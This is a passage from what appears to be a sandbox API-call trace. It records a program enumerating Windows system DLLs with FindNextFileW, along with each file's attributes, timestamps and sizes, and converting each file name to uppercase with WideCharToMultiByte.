lpWideCharStr="CATSRVPS.DLL", cchWideChar=12, lpMultiByteStr=0xa8c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRVPS.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.739] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18df9b5, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe18df9b5, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x77200, dwReserved0=0x545448, dwReserved1=0x0, cFileName="catsrvut.dll", cAlternateFileName="")) returned 1 [0248.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVUT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVUT.DLL", cchWideChar=12, lpMultiByteStr=0xa8c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRVUT.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.739] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ccfe99, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x545448, dwReserved1=0x0, cFileName="cca.dll", cAlternateFileName="")) returned 1 [0248.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CCA.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CCA.DLL", cchWideChar=7, lpMultiByteStr=0xa8c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CCA.DLL", lpUsedDefaultChar=0x0) returned 7 [0248.739] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebf32f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ebf32f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ec19456, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc4a00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="cdosys.dll", cAlternateFileName="")) returned 1 [0248.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CDOSYS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0248.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CDOSYS.DLL", cchWideChar=10, lpMultiByteStr=0xa8c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CDOSYS.DLL", lpUsedDefaultChar=0x0) returned 10 [0248.739] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92e99b70, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92e99b70, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92ebfcd0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53800, dwReserved0=0x545448, dwReserved1=0x0, cFileName="certcli.dll", cAlternateFileName="")) returned 1 [0248.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCLI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCLI.DLL", cchWideChar=11, lpMultiByteStr=0xa8c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTCLI.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.739] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b996d79, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3b996d79, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82dbd4f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x545448, dwReserved1=0x0, cFileName="certCredProvider.dll", cAlternateFileName="")) returned 1 [0248.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCREDPROVIDER.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0248.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCREDPROVIDER.DLL", cchWideChar=20, lpMultiByteStr=0xa8c288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTCREDPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 20 [0248.739] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1331d6, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x4e1331d6, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x545448, dwReserved1=0x0, cFileName="certenc.dll", cAlternateFileName="")) returned 1 [0248.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENC.DLL", cchWideChar=11, lpMultiByteStr=0xa8c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENC.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.739] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b374845, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b374845, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b39a9a5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x145c00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="CertEnroll.dll", cAlternateFileName="")) returned 1 [0248.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLL.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0248.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLL.DLL", cchWideChar=14, lpMultiByteStr=0xa8c288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENROLL.DLL", lpUsedDefaultChar=0x0) returned 14 [0248.739] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x587d3176, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x587d3176, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x42600, dwReserved0=0x545448, dwReserved1=0x0, cFileName="CertEnrollUI.dll", cAlternateFileName="")) returned 1 [0248.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLLUI.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0248.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLLUI.DLL", cchWideChar=16, lpMultiByteStr=0xa8c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENROLLUI.DLL", lpUsedDefaultChar=0x0) returned 16 [0248.740] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x834a93a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17bc00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="certmgr.dll", cAlternateFileName="")) returned 1 [0248.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTMGR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTMGR.DLL", cchWideChar=11, lpMultiByteStr=0xa8c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTMGR.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.740] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92abb7a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92abb7a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92abb7a9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="CertPolEng.dll", cAlternateFileName="")) returned 1 [0248.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTPOLENG.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0248.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTPOLENG.DLL", cchWideChar=14, lpMultiByteStr=0xa8c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTPOLENG.DLL", lpUsedDefaultChar=0x0) returned 14 [0248.740] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf69d5a18, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xf69d5a18, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x33600, dwReserved0=0x545448, dwReserved1=0x0, cFileName="cewmdm.dll", cAlternateFileName="")) returned 1 [0248.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CEWMDM.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0248.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CEWMDM.DLL", cchWideChar=10, lpMultiByteStr=0xa8c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CEWMDM.DLL", lpUsedDefaultChar=0x0) returned 10 [0248.740] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x582c16a8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x582c16a8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="cfgbkend.dll", cAlternateFileName="")) returned 1 [0248.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGBKEND.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGBKEND.DLL", cchWideChar=12, lpMultiByteStr=0xa8c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CFGBKEND.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.740] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f01d97d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f01d97d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f01d97d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="cfgmgr32.dll", cAlternateFileName="")) returned 1 [0248.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGMGR32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGMGR32.DLL", cchWideChar=12, lpMultiByteStr=0xa8c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CFGMGR32.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.740] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa78861e5, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa78861e5, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x198400, dwReserved0=0x545448, dwReserved1=0x0, cFileName="chsbrkr.dll", cAlternateFileName="")) returned 1 [0248.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHSBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHSBRKR.DLL", cchWideChar=11, lpMultiByteStr=0xa8c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHSBRKR.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.740] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa83625fc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa83625fc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5d2000, dwReserved0=0x545448, dwReserved1=0x0, cFileName="chtbrkr.dll", cAlternateFileName="")) returned 1 [0248.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHTBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHTBRKR.DLL", cchWideChar=11, lpMultiByteStr=0xa8c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHTBRKR.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.740] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf222e7, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x4bf222e7, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83f24e00, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="CHxReadingStringIME.dll", cAlternateFileName="")) returned 1 [0248.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHXREADINGSTRINGIME.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0248.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHXREADINGSTRINGIME.DLL", cchWideChar=23, lpMultiByteStr=0xa8c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHXREADINGSTRINGIME.DLL", lpUsedDefaultChar=0x0) returned 23 [0248.741] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc23aa496, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc23aa496, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83fbc3e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a200, dwReserved0=0x545448, dwReserved1=0x0, cFileName="cic.dll", cAlternateFileName="")) returned 1 [0248.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CIC.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CIC.DLL", cchWideChar=7, lpMultiByteStr=0xa8c288, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CIC.DLL", lpUsedDefaultChar=0x0) returned 7 [0248.741] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a9ef7a, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xc8a9ef7a, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x545448, dwReserved1=0x0, cFileName="clb.dll", cAlternateFileName="")) returned 1 [0248.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLB.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLB.DLL", cchWideChar=7, lpMultiByteStr=0xa8c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLB.DLL", lpUsedDefaultChar=0x0) returned 7 [0248.741] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe661614e, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe661614e, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7f800, dwReserved0=0x545448, dwReserved1=0x0, cFileName="clbcatq.dll", cAlternateFileName="")) returned 1 [0248.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLBCATQ.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLBCATQ.DLL", cchWideChar=11, lpMultiByteStr=0xa8c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLBCATQ.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.741] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35259713, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x35259713, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x545448, dwReserved1=0x0, cFileName="clfsw32.dll", cAlternateFileName="")) returned 1 [0248.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLFSW32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLFSW32.DLL", cchWideChar=11, lpMultiByteStr=0xa8c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLFSW32.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.741] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbee174b6, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbee174b6, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x842b5f60, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x545448, dwReserved1=0x0, cFileName="cliconfg.dll", cAlternateFileName="")) returned 1 [0248.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLICONFG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLICONFG.DLL", cchWideChar=12, lpMultiByteStr=0xa8c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLICONFG.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.741] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92bec2ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92bec2ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c1240c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38600, dwReserved0=0x545448, dwReserved1=0x0, cFileName="clusapi.dll", cAlternateFileName="")) returned 1 [0248.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLUSAPI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLUSAPI.DLL", cchWideChar=11, lpMultiByteStr=0xa8c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLUSAPI.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.741] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38fecc6d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38fecc6d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x845fdce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x545448, dwReserved1=0x0, cFileName="cmcfg32.dll", cAlternateFileName="")) returned 1 [0248.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMCFG32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMCFG32.DLL", cchWideChar=11, lpMultiByteStr=0xa8c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMCFG32.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.741] FindNextFileW (in: hFindFile=0x53fd68, 